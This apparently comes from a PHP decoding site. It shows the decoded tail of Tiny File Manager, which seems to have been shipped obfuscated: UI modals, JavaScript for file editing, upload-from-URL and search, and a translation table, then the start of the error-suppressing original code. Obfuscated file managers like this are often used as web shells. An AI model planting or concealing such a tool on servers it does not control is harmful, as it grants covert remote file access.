<body class="<?php echo (FM_THEME == "dark") ? \'theme-dark\' : \'\'; ?> <?php echo $isStickyNavBar; ?>">
<div id="wrapper" class="container-fluid">
    <!-- New Item creation -->
    <div class="modal fade" id="createNewItem" tabindex="-1" role="dialog" data-bs-backdrop="static" data-bs-keyboard="false" aria-labelledby="newItemModalLabel" aria-hidden="true">
        <div class="modal-dialog" role="document">
            <form class="modal-content <?php echo fm_get_theme(); ?>" method="post">
                <div class="modal-header">
                    <h5 class="modal-title" id="newItemModalLabel"><i class="fa fa-plus-square fa-fw"></i><?php echo lng(\'CreateNewItem\') ?></h5>
                    <button type="button" class="btn-close" data-bs-dismiss="modal" aria-label="Close"></button>
                </div>
                <div class="modal-body">
                    <p><label for="newfile"><?php echo lng(\'ItemType\') ?> </label></p>
                    <div class="form-check form-check-inline">
                      <input class="form-check-input" type="radio" name="newfile" id="customRadioInline1" name="newfile" value="file">
                      <label class="form-check-label" for="customRadioInline1"><?php echo lng(\'File\') ?></label>
                    </div>
                    <div class="form-check form-check-inline">
                      <input class="form-check-input" type="radio" name="newfile" id="customRadioInline2" value="folder" checked>
                      <label class="form-check-label" for="customRadioInline2"><?php echo lng(\'Folder\') ?></label>
                    </div>

                    <p class="mt-3"><label for="newfilename"><?php echo lng(\'ItemName\') ?> </label></p>
                    <input type="text" name="newfilename" id="newfilename" value="" class="form-control" placeholder="<?php echo lng(\'Enter here...\') ?>" required>
                </div>
                <div class="modal-footer">
                    <input type="hidden" name="token" value="<?php echo $_SESSION[\'token\']; ?>">
                    <button type="button" class="btn btn-outline-primary" data-bs-dismiss="modal"><i class="fa fa-times-circle"></i> <?php echo lng(\'Cancel\') ?></button>
                    <button type="submit" class="btn btn-success"><i class="fa fa-check-circle"></i> <?php echo lng(\'CreateNow\') ?></button>
                </div>
            </form>
        </div>
    </div>

    <!-- Advance Search Modal -->
    <div class="modal fade" id="searchModal" tabindex="-1" role="dialog" aria-labelledby="searchModalLabel" aria-hidden="true">
      <div class="modal-dialog modal-lg" role="document">
        <div class="modal-content <?php echo fm_get_theme(); ?>">
          <div class="modal-header">
            <h5 class="modal-title col-10" id="searchModalLabel">
                <div class="input-group mb-3">
                  <input type="text" class="form-control" placeholder="<?php echo lng(\'Search\') ?> <?php echo lng(\'a files\') ?>" aria-label="<?php echo lng(\'Search\') ?>" aria-describedby="search-addon3" id="advanced-search" autofocus required>
                  <span class="input-group-text" id="search-addon3"><i class="fa fa-search"></i></span>
                </div>
            </h5>
            <button type="button" class="btn-close" data-bs-dismiss="modal" aria-label="Close"></button>
          </div>
          <div class="modal-body">
            <form action="" method="post">
                <div class="lds-facebook"><div></div><div></div><div></div></div>
                <ul id="search-wrapper">
                    <p class="m-2"><?php echo lng(\'Search file in folder and subfolders...\') ?></p>
                </ul>
            </form>
          </div>
        </div>
      </div>
    </div>

    <!--Rename Modal -->
    <div class="modal modal-alert" data-bs-backdrop="static" data-bs-keyboard="false" tabindex="-1" role="dialog" id="renameDailog">
      <div class="modal-dialog" role="document">
        <form class="modal-content rounded-3 shadow <?php echo fm_get_theme(); ?>" method="post" autocomplete="off">
          <div class="modal-body p-4 text-center">
            <h5 class="mb-3"><?php echo lng(\'Are you sure want to rename?\') ?></h5>
            <p class="mb-1">
                <input type="text" name="rename_to" id="js-rename-to" class="form-control" placeholder="<?php echo lng(\'Enter new file name\') ?>" required>
                <input type="hidden" name="token" value="<?php echo $_SESSION[\'token\']; ?>">
                <input type="hidden" name="rename_from" id="js-rename-from">
            </p>
          </div>
          <div class="modal-footer flex-nowrap p-0">
            <button type="button" class="btn btn-lg btn-link fs-6 text-decoration-none col-6 m-0 rounded-0 border-end" data-bs-dismiss="modal"><?php echo lng(\'Cancel\') ?></button>
            <button type="submit" class="btn btn-lg btn-link fs-6 text-decoration-none col-6 m-0 rounded-0"><strong><?php echo lng(\'Okay\') ?></strong></button>
          </div>
        </form>
      </div>
    </div>

    <!-- Confirm Modal -->
    <script type="text/html" id="js-tpl-confirm">
        <div class="modal modal-alert confirmDailog" data-bs-backdrop="static" data-bs-keyboard="false" tabindex="-1" role="dialog" id="confirmDailog-<%this.id%>">
          <div class="modal-dialog" role="document">
            <form class="modal-content rounded-3 shadow <?php echo fm_get_theme(); ?>" method="post" autocomplete="off" action="<%this.action%>">
              <div class="modal-body p-4 text-center">
                <h5 class="mb-2"><?php echo lng(\'Are you sure want to\') ?> <%this.title%> ?</h5>
                <p class="mb-1"><%this.content%></p>
              </div>
              <div class="modal-footer flex-nowrap p-0">
                <button type="button" class="btn btn-lg btn-link fs-6 text-decoration-none col-6 m-0 rounded-0 border-end" data-bs-dismiss="modal"><?php echo lng(\'Cancel\') ?></button>
                <input type="hidden" name="token" value="<?php echo $_SESSION[\'token\']; ?>">
                <button type="submit" class="btn btn-lg btn-link fs-6 text-decoration-none col-6 m-0 rounded-0" data-bs-dismiss="modal"><strong><?php echo lng(\'Okay\') ?></strong></button>
              </div>
            </form>
          </div>
        </div>
    </script>

    <?php
    }

    /**
     * Show page footer after login
     */
    function fm_show_footer()
    {
    ?>
</div>
<?php print_external(\'js-jquery\'); ?>
<?php print_external(\'js-bootstrap\'); ?>
<?php print_external(\'js-jquery-datatables\'); ?>
<?php if (FM_USE_HIGHLIGHTJS && isset($_GET[\'view\'])): ?>
    <?php print_external(\'js-highlightjs\'); ?>
    <script>hljs.highlightAll(); var isHighlightingEnabled = true;</script>
<?php endif; ?>
<script>
    function template(html,options){
        var re=/<\%([^\%>]+)?\%>/g,reExp=/(^( )?(if|for|else|switch|case|break|{|}))(.*)?/g,code=\'var r=[];
\',cursor=0,match;var add=function(line,js){js?(code+=line.match(reExp)?line+\'
\':\'r.push(\'+line+\');
\'):(code+=line!=\'\'?\'r.push("\'+line.replace(/"/g,\'\"\')+\'");
\':\'\');return add}
        while(match=re.exec(html)){add(html.slice(cursor,match.index))(match[1],!0);cursor=match.index+match[0].length}
        add(html.substr(cursor,html.length-cursor));code+=\'return r.join("");\';return new Function(code.replace(/[
	
]/g,\'\')).apply(options)
    }
    function rename(e, t) { if(t) { $("#js-rename-from").val(t);$("#js-rename-to").val(t); $("#renameDailog").modal(\'show\'); } }
    function change_checkboxes(e, t) { for (var n = e.length - 1; n >= 0; n--) e[n].checked = "boolean" == typeof t ? t : !e[n].checked }
    function get_checkboxes() { for (var e = document.getElementsByName("file[]"), t = [], n = e.length - 1; n >= 0; n--) (e[n].type = "checkbox") && t.push(e[n]); return t }
    function select_all() { change_checkboxes(get_checkboxes(), !0) }
    function unselect_all() { change_checkboxes(get_checkboxes(), !1) }
    function invert_all() { change_checkboxes(get_checkboxes()) }
    function checkbox_toggle() { var e = get_checkboxes(); e.push(this), change_checkboxes(e) }
    function backup(e, t) { // Create file backup with .bck
        var n = new XMLHttpRequest,
            a = "path=" + e + "&file=" + t + "&token="+ window.csrf +"&type=backup&ajax=true";
        return n.open("POST", "", !0), n.setRequestHeader("Content-type", "application/x-www-form-urlencoded"), n.onreadystatechange = function () {
            4 == n.readyState && 200 == n.status && toast(n.responseText)
        }, n.send(a), !1
    }
    // Toast message
    function toast(txt) { var x = document.getElementById("snackbar");x.innerHTML=txt;x.className = "show";setTimeout(function(){ x.className = x.className.replace("show", ""); }, 3000); }
    // Save file
    function edit_save(e, t) {
        var n = "ace" == t ? editor.getSession().getValue() : document.getElementById("normal-editor").value;
        if (typeof n !== \'undefined\' && n !== null) {
            if (true) {
                var data = {ajax: true, content: n, type: \'save\', token: window.csrf};

                $.ajax({
                    type: "POST",
                    url: window.location,
                    data: JSON.stringify(data),
                    contentType: "application/json; charset=utf-8",
                    success: function(mes){toast("Saved Successfully"); window.onbeforeunload = function() {return}},
                    failure: function(mes) {toast("Error: try again");},
                    error: function(mes) {toast(`<p style="background-color:red">${mes.responseText}</p>`);}
                });
            } else {
                var a = document.createElement("form");
                a.setAttribute("method", "POST"), a.setAttribute("action", "");
                var o = document.createElement("textareapopojicms");
                o.setAttribute("type", "textareapopojicms"), o.setAttribute("name", "savedata");
                let cx = document.createElement("input"); cx.setAttribute("type", "hidden");cx.setAttribute("name", "token");cx.setAttribute("value", window.csrf);
                var c = document.createTextNode(n);
                o.appendChild(c), a.appendChild(o), a.appendChild(cx), document.body.appendChild(a), a.submit()
            }
        }
    }
    function show_new_pwd() { $(".js-new-pwd").toggleClass(\'hidden\'); }
    // Save Settings
    function save_settings($this) {
        let form = $($this);
        $.ajax({
            type: form.attr(\'method\'), url: form.attr(\'action\'), data: form.serialize()+"&token="+ window.csrf +"&ajax="+true,
            success: function (data) {if(data) { window.location.reload();}}
        }); return false;
    }
    //Create new password hash
    function new_password_hash($this) {
        let form = $($this), $pwd = $("#js-pwd-result"); $pwd.val(\'\');
        $.ajax({
            type: form.attr(\'method\'), url: form.attr(\'action\'), data: form.serialize()+"&token="+ window.csrf +"&ajax="+true,
            success: function (data) { if(data) { $pwd.val(data); } }
        }); return false;
    }
    // Upload files using URL @param {Object}
    function upload_from_url($this) {
        let form = $($this), resultWrapper = $("div#js-url-upload__list");
        $.ajax({
            type: form.attr(\'method\'), url: form.attr(\'action\'), data: form.serialize()+"&token="+ window.csrf +"&ajax="+true,
            beforeSend: function() { form.find("input[name=uploadurl]").attr("disabled","disabled"); form.find("button").hide(); form.find(".lds-facebook").addClass(\'show-me\'); },
            success: function (data) {
                if(data) {
                    data = JSON.parse(data);
                    if(data.done) {
                        resultWrapper.append(\'<div class="alert alert-success row">Uploaded Successful: \'+data.done.name+\'</div>\'); form.find("input[name=uploadurl]").val(\'\');
                    } else if(data[\'fail\']) { resultWrapper.append(\'<div class="alert alert-danger row">Error: \'+data.fail.message+\'</div>\'); }
                    form.find("input[name=uploadurl]").removeAttr("disabled");form.find("button").show();form.find(".lds-facebook").removeClass(\'show-me\');
                }
            },
            error: function(xhr) {
                form.find("input[name=uploadurl]").removeAttr("disabled");form.find("button").show();form.find(".lds-facebook").removeClass(\'show-me\');console.error(xhr);
            }
        }); return false;
    }
    // Search template
    function search_template(data) {
        var response = "";
        $.each(data, function (key, val) {
            response += `<li><a href="?p=${val.path}&view=${val.name}">${val.path}/${val.name}</a></li>`;
        });
        return response;
    }
    // Advance search
    function fm_search() {
        var searchTxt = $("input#advanced-search").val(), searchWrapper = $("ul#search-wrapper"), path = $("#js-search-modal").attr("href"), _html = "", $loader = $("div.lds-facebook");
        if(!!searchTxt && searchTxt.length > 2 && path) {
            var data = {ajax: true, content: searchTxt, path:path, type: \'search\', token: window.csrf };
            $.ajax({
                type: "POST",
                url: window.location,
                data: data,
                beforeSend: function() {
                    searchWrapper.html(\'\');
                    $loader.addClass(\'show-me\');
                },
                success: function(data){
                    $loader.removeClass(\'show-me\');
                    data = JSON.parse(data);
                    if(data && data.length) {
                        _html = search_template(data);
                        searchWrapper.html(_html);
                    } else { searchWrapper.html(\'<p class="m-2">No result found!<p>\'); }
                },
                error: function(xhr) { $loader.removeClass(\'show-me\'); searchWrapper.html(\'<p class="m-2">ERROR: Try again later!</p>\'); },
                failure: function(mes) { $loader.removeClass(\'show-me\'); searchWrapper.html(\'<p class="m-2">ERROR: Try again later!</p>\');}
            });
        } else { searchWrapper.html("OOPS: minimum 3 characters required!"); }
    }

    // action confirm dailog modal
    function confirmDailog(e, id = 0, title = "Action", content = "", action = null) {
        e.preventDefault();
        const tplObj = {id, title, content: decodeURIComponent(content.replace(/\+/g, \' \')), action};
        let tpl = $("#js-tpl-confirm").html();
        $(".modal.confirmDailog").remove();
        $(\'#wrapper\').append(template(tpl,tplObj));
        const $confirmDailog = $("#confirmDailog-"+tplObj.id);
        $confirmDailog.modal(\'show\');
        return false;
    }
    

    // on mouse hover image preview
    !function(s){s.previewImage=function(e){var o=s(document),t=".previewImage",a=s.extend({xOffset:20,yOffset:-20,fadeIn:"fast",css:{padding:"5px",border:"1px solid #cccccc","background-color":"#fff"},eventSelector:"[data-preview-image]",dataKey:"previewImage",overlayId:"preview-image-plugin-overlay"},e);return o.off(t),o.on("mouseover"+t,a.eventSelector,function(e){s("p#"+a.overlayId).remove();var o=s("<p>").attr("id",a.overlayId).css("position","absolute").css("display","none").append(s(\'<img class="c-preview-img">\').attr("src",s(this).data(a.dataKey)));a.css&&o.css(a.css),s("body").append(o),o.css("top",e.pageY+a.yOffset+"px").css("left",e.pageX+a.xOffset+"px").fadeIn(a.fadeIn)}),o.on("mouseout"+t,a.eventSelector,function(){s("#"+a.overlayId).remove()}),o.on("mousemove"+t,a.eventSelector,function(e){s("#"+a.overlayId).css("top",e.pageY+a.yOffset+"px").css("left",e.pageX+a.xOffset+"px")}),this},s.previewImage()}(jQuery);

    // Dom Ready Events
    $(document).ready( function () {
        // dataTable init
        var $table = $(\'#main-table\'),
            tableLng = $table.find(\'th\').length,
            _targets = (tableLng && tableLng == 7 ) ? [0, 4,5,6] : tableLng == 5 ? [0,4] : [3];
            mainTable = $(\'#main-table\').DataTable({paging: false, info: false, order: [], columnDefs: [{targets: _targets, orderable: false}]
        });
        // filter table
        $(\'#search-addon\').on( \'keyup\', function () {
            mainTable.search( this.value ).draw();
        });
        $("input#advanced-search").on(\'keyup\', function (e) {
            if (e.keyCode === 13) { fm_search(); }
        });
        $(\'#search-addon3\').on( \'click\', function () { fm_search(); });
        //upload nav tabs
        $(".fm-upload-wrapper .card-header-tabs").on("click", \'a\', function(e){
            e.preventDefault();let target=$(this).data(\'target\');
            $(".fm-upload-wrapper .card-header-tabs a").removeClass(\'active\');$(this).addClass(\'active\');
            $(".fm-upload-wrapper .card-tabs-container").addClass(\'hidden\');$(target).removeClass(\'hidden\');
        });
    });
</script>
<?php if (isset($_GET[\'edit\']) && isset($_GET[\'env\']) && FM_EDIT_FILE && !FM_READONLY):
        
        $ext = pathinfo($_GET["edit"], PATHINFO_EXTENSION);
        $ext =  $ext == "js" ? "javascript" :  $ext;
        ?>
    <?php print_external(\'js-ace\'); ?>
    <script>
        var editor = ace.edit("editor");
        editor.getSession().setMode( {path:"ace/mode/<?php echo $ext; ?>", inline:true} );
        //editor.setTheme("ace/theme/twilight"); //Dark Theme
        editor.setShowPrintMargin(false); // Hide the vertical ruler
        function ace_commend (cmd) { editor.commands.exec(cmd, editor); }
        editor.commands.addCommands([{
            name: \'save\', bindKey: {win: \'Ctrl-S\',  mac: \'Command-S\'},
            exec: function(editor) { edit_save(this, \'ace\'); }
        }]);
        function renderThemeMode() {
            var $modeEl = $("select#js-ace-mode"), $themeEl = $("select#js-ace-theme"), $fontSizeEl = $("select#js-ace-fontSize"), optionNode = function(type, arr){ var $Option = ""; $.each(arr, function(i, val) { $Option += "<option value=\'"+type+i+"\'>" + val + "</option>"; }); return $Option; },
                _data = {"aceTheme":{"bright":{"chrome":"Chrome","clouds":"Clouds","crimson_editor":"Crimson Editor","dawn":"Dawn","dreamweaver":"Dreamweaver","eclipse":"Eclipse","github":"GitHub","iplastic":"IPlastic","solarized_light":"Solarized Light","textmate":"TextMate","tomorrow":"Tomorrow","xcode":"XCode","kuroir":"Kuroir","katzenmilch":"KatzenMilch","sqlserver":"SQL Server"},"dark":{"ambiance":"Ambiance","chaos":"Chaos","clouds_midnight":"Clouds Midnight","dracula":"Dracula","cobalt":"Cobalt","gruvbox":"Gruvbox","gob":"Green on Black","idle_fingers":"idle Fingers","kr_theme":"krTheme","merbivore":"Merbivore","merbivore_soft":"Merbivore Soft","mono_industrial":"Mono Industrial","monokai":"Monokai","pastel_on_dark":"Pastel on dark","solarized_dark":"Solarized Dark","terminal":"Terminal","tomorrow_night":"Tomorrow Night","tomorrow_night_blue":"Tomorrow Night Blue","tomorrow_night_bright":"Tomorrow Night Bright","tomorrow_night_eighties":"Tomorrow Night 80s","twilight":"Twilight","vibrant_ink":"Vibrant Ink"}},"aceMode":{"javascript":"JavaScript","abap":"ABAP","abc":"ABC","actionscript":"ActionScript","ada":"ADA","apache_conf":"Apache Conf","asciidoc":"AsciiDoc","asl":"ASL","assembly_x86":"Assembly x86","autohotkey":"AutoHotKey","apex":"Apex","batchfile":"BatchFile","bro":"Bro","c_cpp":"C and C++","c9search":"C9Search","cirru":"Cirru","clojure":"Clojure","cobol":"Cobol","coffee":"CoffeeScript","coldfusion":"ColdFusion","csharp":"C#","csound_document":"Csound Document","csound_orchestra":"Csound","csound_score":"Csound Score","css":"CSS","curly":"Curly","d":"D","dart":"Dart","diff":"Diff","dockerfile":"Dockerfile","dot":"Dot","drools":"Drools","edifact":"Edifact","eiffel":"Eiffel","ejs":"EJS","elixir":"Elixir","elm":"Elm","erlang":"Erlang","forth":"Forth","fortran":"Fortran","fsharp":"FSharp","fsl":"FSL","ftl":"FreeMarker","gcode":"Gcode","gherkin":"Gherkin","gitignore":"Gitignore","glsl":"Glsl","gobstones":"Gobstones","golang":"Go","graphqlschema":"GraphQLSchema","groovy":"Groovy","haml":"HAML","handlebars":"Handlebars","haskell":"Haskell","haskell_cabal":"Haskell Cabal","haxe":"haXe","hjson":"Hjson","html":"HTML","html_elixir":"HTML (Elixir)","html_ruby":"HTML (Ruby)","ini":"INI","io":"Io","jack":"Jack","jade":"Jade","java":"Java","json":"JSON","jsoniq":"JSONiq","jsp":"JSP","jssm":"JSSM","jsx":"JSX","julia":"Julia","kotlin":"Kotlin","latex":"LaTeX","less":"LESS","liquid":"Liquid","lisp":"Lisp","livescript":"LiveScript","logiql":"LogiQL","lsl":"LSL","lua":"Lua","luapage":"LuaPage","lucene":"Lucene","makefile":"Makefile","markdown":"Markdown","mask":"Mask","matlab":"MATLAB","maze":"Maze","mel":"MEL","mixal":"MIXAL","mushcode":"MUSHCode","mysql":"MySQL","nix":"Nix","nsis":"NSIS","objectivec":"Objective-C","ocaml":"OCaml","pascal":"Pascal","perl":"Perl","perl6":"Perl 6","pgsql":"pgSQL","php_laravel_blade":"PHP (Blade Template)","php":"PHP","puppet":"Puppet","pig":"Pig","powershell":"Powershell","praat":"Praat","prolog":"Prolog","properties":"Properties","protobuf":"Protobuf","python":"Python","r":"R","razor":"Razor","rdoc":"RDoc","red":"Red","rhtml":"RHTML","rst":"RST","ruby":"Ruby","rust":"Rust","sass":"SASS","scad":"SCAD","scala":"Scala","scheme":"Scheme","scss":"SCSS","sh":"SH","sjs":"SJS","slim":"Slim","smarty":"Smarty","snippets":"snippets","soy_template":"Soy Template","space":"Space","sql":"SQL","sqlserver":"SQLServer","stylus":"Stylus","svg":"SVG","swift":"Swift","tcl":"Tcl","terraform":"Terraform","tex":"Tex","text":"Text","textile":"Textile","toml":"Toml","tsx":"TSX","twig":"Twig","typescript":"Typescript","vala":"Vala","vbscript":"VBScript","velocity":"Velocity","verilog":"Verilog","vhdl":"VHDL","visualforce":"Visualforce","wollok":"Wollok","xml":"XML","xquery":"XQuery","yaml":"YAML","django":"Django"},"fontSize":{8:8,10:10,11:11,12:12,13:13,14:14,15:15,16:16,17:17,18:18,20:20,22:22,24:24,26:26,30:30}};
            if(_data && _data.aceMode) { $modeEl.html(optionNode("ace/mode/", _data.aceMode)); }
            if(_data && _data.aceTheme) { var lightTheme = optionNode("ace/theme/", _data.aceTheme.bright), darkTheme = optionNode("ace/theme/", _data.aceTheme.dark); $themeEl.html("<optgroup label=\"Bright\">"+lightTheme+"</optgroup><optgroup label=\"Dark\">"+darkTheme+"</optgroup>");}
            if(_data && _data.fontSize) { $fontSizeEl.html(optionNode("", _data.fontSize)); }
            $modeEl.val( editor.getSession().$modeId );
            $themeEl.val( editor.getTheme() );
            $fontSizeEl.val(12).change(); //set default font size in drop down
        }

        $(function(){
            renderThemeMode();
            $(".js-ace-toolbar").on("click", \'button\', function(e){
                e.preventDefault();
                let cmdValue = $(this).attr("data-cmd"), editorOption = $(this).attr("data-option");
                if(cmdValue && cmdValue != "none") {
                    ace_commend(cmdValue);
                } else if(editorOption) {
                    if(editorOption == "fullscreen") {
                        (void 0!==document.fullScreenElement&&null===document.fullScreenElement||void 0!==document.msFullscreenElement&&null===document.msFullscreenElement||void 0!==document.mozFullScreen&&!document.mozFullScreen||void 0!==document.webkitIsFullScreen&&!document.webkitIsFullScreen)
                        &&(editor.container.requestFullScreen?editor.container.requestFullScreen():editor.container.mozRequestFullScreen?editor.container.mozRequestFullScreen():editor.container.webkitRequestFullScreen?editor.container.webkitRequestFullScreen(Element.ALLOW_KEYBOARD_INPUT):editor.container.msRequestFullscreen&&editor.container.msRequestFullscreen());
                    } else if(editorOption == "wrap") {
                        let wrapStatus = (editor.getSession().getUseWrapMode()) ? false : true;
                        editor.getSession().setUseWrapMode(wrapStatus);
                    }
                }
            });
            $("select#js-ace-mode, select#js-ace-theme, select#js-ace-fontSize").on("change", function(e){
                e.preventDefault();
                let selectedValue = $(this).val(), selectionType = $(this).attr("data-type");
                if(selectedValue && selectionType == "mode") {
                    editor.getSession().setMode(selectedValue);
                } else if(selectedValue && selectionType == "theme") {
                    editor.setTheme(selectedValue);
                }else if(selectedValue && selectionType == "fontSize") {
                    editor.setFontSize(parseInt(selectedValue));
                }
            });
        });
    </script>
<?php endif; ?>
<div id="snackbar"></div>
</body>
</html>
<?php
}

/**
 * Language Translation System
 * @param string $txt
 * @return string
 */
function lng($txt) {
    global $lang;

    // English Language
    $tr[\'en\'][\'AppName\']        = \'Tiny File Manager\';      $tr[\'en\'][\'AppTitle\']           = \'File Manager\';
    $tr[\'en\'][\'Login\']          = \'Sign in\';                $tr[\'en\'][\'Username\']           = \'Username\';
    $tr[\'en\'][\'Password\']       = \'Password\';               $tr[\'en\'][\'Logout\']             = \'Sign Out\';
    $tr[\'en\'][\'Move\']           = \'Move\';                   $tr[\'en\'][\'Copy\']               = \'Copy\';
    $tr[\'en\'][\'Save\']           = \'Save\';                   $tr[\'en\'][\'SelectAll\']          = \'Select all\';
    $tr[\'en\'][\'UnSelectAll\']    = \'Unselect all\';           $tr[\'en\'][\'File\']               = \'File\';
    $tr[\'en\'][\'Back\']           = \'Back\';                   $tr[\'en\'][\'Size\']               = \'Size\';
    $tr[\'en\'][\'Perms\']          = \'Perms\';                  $tr[\'en\'][\'Modified\']           = \'Modified\';
    $tr[\'en\'][\'Owner\']          = \'Owner\';                  $tr[\'en\'][\'Search\']             = \'Search\';
    $tr[\'en\'][\'NewItem\']        = \'New Item\';               $tr[\'en\'][\'Folder\']             = \'Folder\';
    $tr[\'en\'][\'Delete\']         = \'Delete\';                 $tr[\'en\'][\'Rename\']             = \'Rename\';
    $tr[\'en\'][\'CopyTo\']         = \'Copy to\';                $tr[\'en\'][\'DirectLink\']         = \'Direct link\';
    $tr[\'en\'][\'UploadingFiles\'] = \'Upload Files\';           $tr[\'en\'][\'ChangePermissions\']  = \'Change Permissions\';
    $tr[\'en\'][\'Copying\']        = \'Copying\';                $tr[\'en\'][\'CreateNewItem\']      = \'Create New Item\';
    $tr[\'en\'][\'Name\']           = \'Name\';                   $tr[\'en\'][\'AdvancedEditor\']     = \'Advanced Editor\';
    $tr[\'en\'][\'Actions\']        = \'Actions\';                $tr[\'en\'][\'Folder is empty\']    = \'Folder is empty\';
    $tr[\'en\'][\'Upload\']         = \'Upload\';                 $tr[\'en\'][\'Cancel\']             = \'Cancel\';
    $tr[\'en\'][\'InvertSelection\']= \'Invert Selection\';       $tr[\'en\'][\'DestinationFolder\']  = \'Destination Folder\';
    $tr[\'en\'][\'ItemType\']       = \'Item Type\';              $tr[\'en\'][\'ItemName\']           = \'Item Name\';
    $tr[\'en\'][\'CreateNow\']      = \'Create Now\';             $tr[\'en\'][\'Download\']           = \'Download\';
    $tr[\'en\'][\'Open\']           = \'Open\';                   $tr[\'en\'][\'UnZip\']              = \'UnZip\';
    $tr[\'en\'][\'UnZipToFolder\']  = \'UnZip to folder\';        $tr[\'en\'][\'Edit\']               = \'Edit\';
    $tr[\'en\'][\'NormalEditor\']   = \'Normal Editor\';          $tr[\'en\'][\'BackUp\']             = \'Back Up\';
    $tr[\'en\'][\'SourceFolder\']   = \'Source Folder\';          $tr[\'en\'][\'Files\']              = \'Files\';
    $tr[\'en\'][\'Move\']           = \'Move\';                   $tr[\'en\'][\'Change\']             = \'Change\';
    $tr[\'en\'][\'Settings\']       = \'Settings\';               $tr[\'en\'][\'Language\']           = \'Language\';        
    $tr[\'en\'][\'ErrorReporting\'] = \'Error Reporting\';        $tr[\'en\'][\'ShowHiddenFiles\']    = \'Show Hidden Files\';
    $tr[\'en\'][\'Help\']           = \'Help\';                   $tr[\'en\'][\'Created\']            = \'Created\';
    $tr[\'en\'][\'Help Documents\'] = \'Help Documents\';         $tr[\'en\'][\'Report Issue\']       = \'Report Issue\';
    $tr[\'en\'][\'Generate\']       = \'Generate\';               $tr[\'en\'][\'FullSize\']           = \'Full Size\';              
    $tr[\'en\'][\'HideColumns\']    = \'Hide Perms/Owner columns\';$tr[\'en\'][\'You are logged in\'] = \'You are logged in\';
    $tr[\'en\'][\'Nothing selected\']   = \'Nothing selected\';   $tr[\'en\'][\'Paths must be not equal\']    = \'Paths must be not equal\';
    $tr[\'en\'][\'Renamed from\']       = \'Renamed from\';       $tr[\'en\'][\'Archive not unpacked\']       = \'Archive not unpacked\';
    $tr[\'en\'][\'Deleted\']            = \'Deleted\';            $tr[\'en\'][\'Archive not created\']        = \'Archive not created\';
    $tr[\'en\'][\'Copied from\']        = \'Copied from\';        $tr[\'en\'][\'Permissions changed\']        = \'Permissions changed\';
    $tr[\'en\'][\'to\']                 = \'to\';                 $tr[\'en\'][\'Saved Successfully\']         = \'Saved Successfully\';
    $tr[\'en\'][\'not found!\']         = \'not found!\';         $tr[\'en\'][\'File Saved Successfully\']    = \'File Saved Successfully\';
    $tr[\'en\'][\'Archive\']            = \'Archive\';            $tr[\'en\'][\'Permissions not changed\']    = \'Permissions not changed\';
    $tr[\'en\'][\'Select folder\']      = \'Select folder\';      $tr[\'en\'][\'Source path not defined\']    = \'Source path not defined\';
    $tr[\'en\'][\'already exists\']     = \'already exists\';     $tr[\'en\'][\'Error while moving from\']    = \'Error while moving from\';
    $tr[\'en\'][\'Create archive?\']    = \'Create archive?\';    $tr[\'en\'][\'Invalid file or folder name\']    = \'Invalid file or folder name\';
    $tr[\'en\'][\'Archive unpacked\']   = \'Archive unpacked\';   $tr[\'en\'][\'File extension is not allowed\']  = \'File extension is not allowed\';
    $tr[\'en\'][\'Root path\']          = \'Root path\';          $tr[\'en\'][\'Error while renaming from\']  = \'Error while renaming from\';
    $tr[\'en\'][\'File not found\']     = \'File not found\';     $tr[\'en\'][\'Error while deleting items\'] = \'Error while deleting items\';
    $tr[\'en\'][\'Moved from\']         = \'Moved from\';         $tr[\'en\'][\'Generate new password hash\'] = \'Generate new password hash\';
    $tr[\'en\'][\'Login failed. Invalid username or password\'] = \'Login failed. Invalid username or password\';
    $tr[\'en\'][\'password_hash not supported, Upgrade PHP version\'] = \'password_hash not supported, Upgrade PHP version\';
    $tr[\'en\'][\'Advanced Search\']    = \'Advanced Search\';    $tr[\'en\'][\'Error while copying from\']    = \'Error while copying from\';
    $tr[\'en\'][\'Invalid characters in file name\']                = \'Invalid characters in file name\';
    $tr[\'en\'][\'FILE EXTENSION HAS NOT SUPPORTED\']               = \'FILE EXTENSION HAS NOT SUPPORTED\';
    $tr[\'en\'][\'Selected files and folder deleted\']              = \'Selected files and folder deleted\';
    $tr[\'en\'][\'Error while fetching archive info\']              = \'Error while fetching archive info\';
    $tr[\'en\'][\'Delete selected files and folders?\']             = \'Delete selected files and folders?\';
    $tr[\'en\'][\'Search file in folder and subfolders...\']        = \'Search file in folder and subfolders...\';
    $tr[\'en\'][\'Access denied. IP restriction applicable\']       = \'Access denied. IP restriction applicable\';
    $tr[\'en\'][\'Invalid characters in file or folder name\']      = \'Invalid characters in file or folder name\';
    $tr[\'en\'][\'Operations with archives are not available\']     = \'Operations with archives are not available\';
    $tr[\'en\'][\'File or folder with this path already exists\']   = \'File or folder with this path already exists\';

    $i18n = fm_get_translations($tr);
    $tr = $i18n ? $i18n : $tr;

    if (!strlen($lang)) $lang = \'en\';
    if (isset($tr[$lang][$txt])) return fm_enc($tr[$lang][$txt]);
    else if (isset($tr[\'en\'][$txt])) return fm_enc($tr[\'en\'][$txt]);
    else return "$txt";
}

?>'

Did this file decode correctly?

Original Code

<?php
error_reporting(0);
ini_set('display_errors', 0);

